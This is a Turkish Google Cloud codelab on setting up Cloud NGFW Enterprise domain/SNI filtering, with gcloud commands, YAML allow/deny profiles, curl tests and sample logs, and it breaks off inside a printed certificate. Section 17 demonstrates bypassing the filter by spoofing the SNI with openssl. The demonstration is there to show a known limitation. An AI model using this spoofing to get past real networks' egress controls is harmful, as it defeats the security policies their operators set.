Cloud NGFW Enterprise Alanı/SNI Filtreleme Codelab'i [İsteğe Bağlı TLS Denetimi]

1. Giriş

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall, Google Cloud iş yüklerinizi hem dahili hem de harici saldırılardan korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve yaygın kapsam sunan, tamamen dağıtılmış bir güvenlik duvarı hizmetidir.

Cloud NGFW'nin aşağıdaki avantajları vardır:

  • Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisini etkinleştirmek için her iş yükünde durum bilgisi olan, tamamen dağıtılmış ana makine tabanlı bir zorunluluk sağlar.
  • Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilen ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
  • Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) tarafından yönetilen etiketlerin birleşimi, sanal özel bulut (VPC) ağları ve kuruluşlar genelinde, tek bir sanal makineye kadar hem istemci-sunucu hem de sanal makineler arası trafik için ayrıntılı kontrol sağlar.

Cloud NGFW aşağıdaki katmanlarda kullanılabilir:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Standard FQDN Nesneleri, tam nitelikli alan adlarını (FQDN) IP adreslerine çevirebilir ve ardından kuralı IP adresi listesine göre zorunlu kılabilir. Ancak alan adı filtreleme özellikli Cloud NGFW Enterprise, incelemeyi birkaç adım daha ileriye taşıyabilir.

Cloud NGFW Enterprise

Cloud NGFW Enterprise şu anda dağıtılmış Google Cloud güvenlik duvarı yapısına 7. Katman özelliği olan izinsiz giriş önleme hizmeti (IPS) sunmaktadır.

Cloud NGFW Enterprise artık alan adı filtreleme özelliğine sahip. Bu özellik, IP adreslerini kullanmak yerine alan adlarını kullanarak http(s) trafiği üzerinde kontrol sağlar.

TLS el sıkışması kapsamında, https trafiğinin alan/SNI filtrelemesi için Client Hello, Sunucu Adı Göstergesi (SNI) içeren bir uzantıdır. SNI, bir istemcinin ulaşmaya çalıştığı ana makine adını gönderen TLS protokolünün bir uzantısıdır. Filtreleme bu öğeye göre doğrulanır.

HTTP trafiğinde SNI olmadığından filtreleme yalnızca HTTP Host üstbilgi alanı kullanılarak uygulanır.

Alan adı filtreleme, yeni bir güvenlik profili türü olan UrlFilteringProfile ile yapılandırılır. UrlFilteringProfile, her biri bir işlem, eşleşen dize listesi ve benzersiz bir öncelik içeren UrlFilter'ların listesini içerir. Bu yapılandırmada, gelecekte yeni bir güvenlik profili türü oluşturmak yerine tam URL filtrelemeye kolayca geçiş yapabilmek için adlandırma işleminde "Alan" yerine "URL" kullanılır.

UrlFilteringProfiles, daha yüksek öncelikli bir UrlFilter ile eşleşmeyen tüm bağlantıları reddeden, örtülü ve en düşük öncelikli (2147483647) bir UrlFilter içerir.

Ne oluşturacaksınız?

Bu Codelab için tek bir proje ve VPC ağı oluşturma ile bir dizi ağ ve güvenlik kaynağını yönetme olanağı gerekir. Bu dokümanda, Cloud NGFW Enterprise'ın TLS denetimi için isteğe bağlı talimatlarla alan adı ve SNI filtrelemeyi nasıl sağlayabileceği gösterilmektedir.

Joker karakterlerin kullanımı da dahil olmak üzere izin verme ve reddetme kurallarının birden fazla senaryosunu test edeceğiz.

4a779fae790d117.png

Ağ güvenlik duvarı politikası kural tabanının son durumu aşağıdaki tabloya benzer:

Öncelik

Yön

Target

Kaynak

Hedef

İşlem

Tür

200

Giriş

TÜMÜ

IAP

Tümü

İzin ver

Essentials

300

Çıkış

TÜMÜ

Tümü

0.0.0.0/0:80,443

L7 İncelemesi

Kurumsal

Neler öğreneceksiniz?

  • Ağ güvenlik duvarı politikası oluşturma
  • Cloud NGFW Enterprise alan/SNI filtrelemeyi yapılandırma ve kullanma
  • Alan/SNI filtrelemeye ek olarak tehdit önlemeyi yapılandırma
  • Günlükleri inceleme
  • [İsteğe bağlı] TLS denetimini etkinleştirme

Gerekenler

  • Google Cloud projesi.
  • Örnekleri dağıtma ve ağ bileşenlerini yapılandırma bilgisi.
  • Ağ politikası güvenlik duvarı yapılandırması hakkında bilgi sahibi olmanız gerekir.

2. Başlamadan önce

Değişken oluşturma/güncelleme

Bu codelab'de, Cloud Shell'de gcloud yapılandırmasının uygulanmasına yardımcı olmak için $değişkenleri kullanılır.

Cloud Shell'de aşağıdaki komutları çalıştırın. Köşeli parantez içindeki bilgileri gerektiği şekilde değiştirin:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. API'leri etkinleştir

Henüz yapmadıysanız API'leri etkinleştirin:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Endpoint Oluşturma

Cloud NGFW Enterprise uç noktasının oluşturulması yaklaşık 20 dakika sürdüğünden önce bu uç nokta oluşturulur. Uç nokta oluşturulurken temel kurulum paralel olarak yapılabilir.

Tehdit önleme profillerini kullanmayı düşünmeseniz bile alan/SNI filtreleme için güvenlik duvarı uç noktası gerekir.

Güvenlik profili ve güvenlik profili grubu oluşturun:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Uç noktanın oluşturulduğunu (CREATING) doğrulamak için aşağıdaki komutu çalıştırın.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıktı (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Oluşturma işlemi yaklaşık 20 dakika sürer. Gerekli kaynakları paralel olarak oluşturmak için Temel Kurulum bölümüne gidin.

5. Temel Kurulum

VPC ağı ve alt ağ

VPC ağı ve alt ağ

VPC ağını ve alt ağı oluşturun:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Harici IP adresini, Cloud Router'ı ve Cloud NAT ağ geçidini oluşturun:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Örnek Oluşturma

İstemci örneğini oluşturun:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Global ağ güvenlik duvarı politikası

Global ağ güvenlik duvarı politikası oluşturma:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Identity-Aware Proxy aralıklarından gelen trafiğe izin vermek için gerekli Cloud Firewall Essential kurallarını oluşturun:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Bulut güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. İzin vermek için Alan Adı/SNI Filtreleme Yapılandırmaları Oluşturma

Ardından, izin verilecek ve reddedilecek alanları yapılandıracağız. Cloud Shell'de yaml dosyasını oluşturun:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

YAML yapılandırmasını içe aktararak güvenlik profili oluşturun:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Beklenen çıktı:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Güvenlik profili grubu oluşturma:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

SPG'nin güvenlik profilini içerdiğini doğrulayın:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Beklenen çıktı:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Cloud Firewall Endpoint Association

Henüz yapmadıysanız ve/veya komut dosyası yaklaşımını tercih ettiyseniz ortam değişkenlerini tanımlayın.

Cloud Firewall Endpoint oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum CREATING'dir):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıktı (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Cloud Firewall uç noktasını VPC ağıyla ilişkilendirin:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

İlişkilendirme işlemi yaklaşık 10 dakika sürer. Durum ETKİN olarak gösterildikten sonraki bölüme geçin (oluşturma sırasında beklenen durum OLUŞTURULUYOR'dur):

gcloud network-security firewall-endpoint-associations list

Tamamla (complete) kullanıldığında beklenen çıktı:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Alan/SNI Filtreleme için Güvenlik Duvarı Kuralları Oluşturma

Google'ın örtülü çıkış güvenlik duvarı kurallarına izin verme özelliği vardır. Alan/SNI filtrelemeyi zorunlu kılmak istiyorsak bir kuralı açıkça tanımlamamız gerekir. Aşağıdaki kural, 80 ve 443 numaralı hedef bağlantı noktaları için çıkış trafiğini güvenlik profilimiz tarafından incelenmek üzere gönderir.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. İzin verme kurallarını doğrulama

IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek istekleri izin verilen hedefe gönderin:

curl https://www.example.com --max-time 2

Bu isteğin, "allow" güvenlik duvarı kuralı nedeniyle başarılı olduğunu unutmayın.

Listede yer almayan birkaç alan adını deneyelim.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Beklenen çıktı:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

"example.com" neden çalışmadı? Bunun nedeni, güvenlik profili yapılandırmasında açıkça "www.example.com" ifadesinin yer almasıdır. example.com alanının tüm alt alanlarına izin vermek istiyorsak joker karakter kullanabiliriz.

Diğer istekler de başarısız oldu. Bunun nedeni, güvenlik profili grubunun en düşük önceliğe sahip varsayılan bir reddetme içermesi ve yalnızca www.example.com'a izin verilmesidir.

Cloudshell'e dönmek için sanal makineden çıkın.

exit

10. Joker karakter için alan adı/SNI filtreleme yapılandırmasını güncelleme

Şimdi yaml dosyasına göz atalım ve joker karakter desteği de dahil olmak üzere ek özellikleri göstermek için bazı güncellemeler yapalım. "*.com" alanına izin veren bir kural oluşturacağız. Bu, .com ile biten tüm alanlara eşdeğerdir. Not: Bu, önceki bölümde oluşturulan orijinal YAML dosyasının içeriğini tamamen değiştirir.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Güvenlik profilini yeni YAML yapılandırmasıyla güncelleyin:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Güvenlik profili yapılandırmasını doğrulayın:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Beklenen çıktı:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Joker karakter kuralını doğrulama

Joker karakter kuralının işlevsel olup olmadığını doğrulayalım. IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek istekleri izin verilen hedeflere gönderin:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Bu isteklerin tümü başarılı olmalıdır. Diğer geçerli .com alanlarını da deneyebilirsiniz. Hâlâ başarılı olmazsa en az 10 dakika beklediğinizden emin olun ve tekrar deneyin.

Hatta ".com"un birden fazla alt alan adını deneyebiliriz ve hepsi başarılı olur.

curl https://mail.google.com --max-time 2

Cloudshell'e dönmek için sanal makineden çıkın.

exit

12. Reddetme için Alan/SNI Filtreleme Yapılandırmasını Güncelleme

Güvenlik profilinin sonunda * için örtülü bir DENY kuralı olduğunu gösterdik ve filteringAction'ı "ALLOW" olarak kullanarak "izin verilen" alan adları oluşturduk. filteringAction'ı "DENY" olarak kullanma konusunu ele alalım. DENY işlemleri, açık bir ALLOW işleminden önce geldiğinde faydalı olabilir. Aşağıdaki örneği inceleyin.

Mevcut yaml dosyamızı, *.com'a izin verecek ancak belirli .com alan adlarını özellikle reddedecek şekilde güncelleyeceğiz.

Diğer tüm *.com'a açıkça izin verirken ve örtülü varsayılan reddetme ayarını korurken *.github.com ve *.google.com'u REDDETMEK için yaml dosyasını değiştireceğiz. İstisnaların önceliğinin daha düşük bir öncelik numarasına sahip olması gerektiğini unutmayın: (1000 ile 2000) ve (1500 ile 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Güvenlik profilini yeni YAML yapılandırmasıyla güncelleyin:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Güvenlik profili yapılandırmasını doğrulayın:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Reddetme kurallarını doğrulama

DENY kurallarının işlevsel olup olmadığını doğrulayalım. IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek istekleri reddedilen hedeflere gönderin:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Bu iki istek, "DENY" kuralıyla eşleştiği için başarısız olmalıydı.

Başka istekler gönderin:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Bu reklamlar neden işe yaradı? Bu durum, DENY kurallarının ".github.com" ve ".google.com" için geçerli olmasından kaynaklanıyordu. github.com ve google.com alt alanlarına referans verdiği için github.com ve google.com istekleri bu joker karakteri içermez.

.com alanlarına yapılan diğer istekler başarılı olmalıdır. Diğer alanlar için varsayılan olarak reddetme uygulanır. (.org, .net, .me, ...vb.)

Cloudshell'e dönmek için sanal makineden çıkın.

exit

14. Varsayılan İzin İçin Alan Adı/SNI Filtreleme Yapılandırmasını Güncelleme

Açıkça reddetme kurallarıyla varsayılan olarak İZİN VERME davranışını kullanmak istiyorsanız ne yapmanız gerekir? Bu davranışı sergilemek için YAML'yi güncelleyeceğiz. .com veya .net alan adları için REDDETME kuralları yapılandırırız ve diğer tüm alan adlarına izin veririz.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Güvenlik profilini yeni YAML yapılandırmasıyla güncelleyin:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Güvenlik profili yapılandırmasını doğrulayın:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Beklenen çıkış:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

* için örtülü REDDİN hâlâ mevcut olduğunu unutmayın. FilteringAction değeri ALLOW olarak ayarlanmış daha yüksek öncelikli (daha düşük değer) bir varsayılan kural yapılandırdığımız için bu kuralın önemi kalmaz.

(2.000.000.000 ile 2.147.483.647 karşılaştırması)

15. Varsayılan izinle reddetme kurallarını doğrulama

DENY kurallarının varsayılan ALLOW ile birlikte çalışıp çalışmadığını doğrulayalım. IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek istekleri reddedilen hedeflere gönderin:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Bu iki istek, "DENY" kuralıyla eşleştiği için başarısız olmalıydı. .com veya .net uzantılı tüm istekler başarısız olmalıdır.

Başarılı olması gereken bazı istekler gönderin (diğer üst düzey alan adları):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Bu istekler, 2000000000 önceliğine sahip "varsayılan" izin kuralına ulaştığı için başarılı olmalıdır.

16. Alan adı/SNI filtreleme için günlükleri keşfetme

Trafiğin alan adı/SNI filtreleme için güvenlik duvarı kuralı tarafından incelenip incelenmediğini nasıl doğrulayacağımıza bakalım.

Cloud Console'da Günlük Gezgini'ne gidin ve aşağıdaki filtreyi girin:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

Yukarıdaki filtre, $prefix-fwpolicy adlı oluşturduğumuz güvenlik duvarı politikasına ve alan/SNI filtreleme yapılandırmasıyla ilişkili güvenlik profili grubuna sahip 300 kural önceliğine bakıyor.

91854cacaec44798.png

Gördüğünüz gibi "disposition" (düzenleme) alanında "INTERCEPTED" (engellendi) yazıyor. Bu, trafiğin engellendiğini ve işlenmek üzere güvenlik duvarı motorumuza gönderildiğini gösterir.

Gerçek alan/SNI filtreleme günlüklerini görmek için Günlük Gezgini'ne aşağıdaki filtreyi girebiliriz: ($project_id değerini kendi project_id değerinizle değiştirmeniz gerekir)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Ayrıntılardan bazılarını genişlettiğimizde, bir örnekte (temizlenmiş) aşağıdaki ayrıntıları görebiliriz:

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

Yukarıdaki örnek günlükte, wikipedia.org'a yapılan ve filtre işlemi İZİN VER olan "*" öncelikli 2000000000 kuralıyla eşleştiği için İZİN VERİLEN bir istek gösterilmektedir. SNI dahil başka ayrıntılar da vardır.

Bir DENY örnek günlüğüne göz atabiliriz:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Yukarıda görebileceğiniz gibi bu, bir istek reddedildiğinde kaydedilen bir istektir. İstek, güvenlik profilindeki 1500 numaralı kurala uyan www.php.net adresine yapıldı. Benzer şekilde, karar vermek için SNI ile eşleştirme yapıldı.

17. SNI sahteciliği mevcutken kuralları doğrulama

Girişte belirtildiği gibi, NGFW Enterprise, HTTP trafiği için HTTP ana makine başlığına veya TLS şifreli trafik için SNI'ya bakabilir. Kullanıcılar SNI'yi sahtecilik amacıyla kullanabilir. Bu durumda ne olur?

Davranışı doğrulayalım. IAP üzerinden sanal makineye SSH bağlantısı başlatın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

SNI'yi sahteleştirmek için aşağıdaki openssl komutunu çalıştırın:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Yukarıdaki örnekte, .com ve .net alanlarına yapılan isteklerin engellenmesi, diğer TLD'lere ise izin verilmesi beklenir. Aşağıda, sahte bir yanıt örneği verilmiştir. İstek, engellenmesi gereken www.google.com adresine gönderiliyor ancak www.google.com SNI'sı göndermek yerine ifconfig.me SNI'sı belirtiyoruz. Politika, SNI'ya göre kontrol yaptığından bunu "izin verilen" bir alan olarak görür ve geçmesine izin verir. google.com ile başarılı bir TLS bağlantısı kurduk.

.

Beklenen çıktı:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
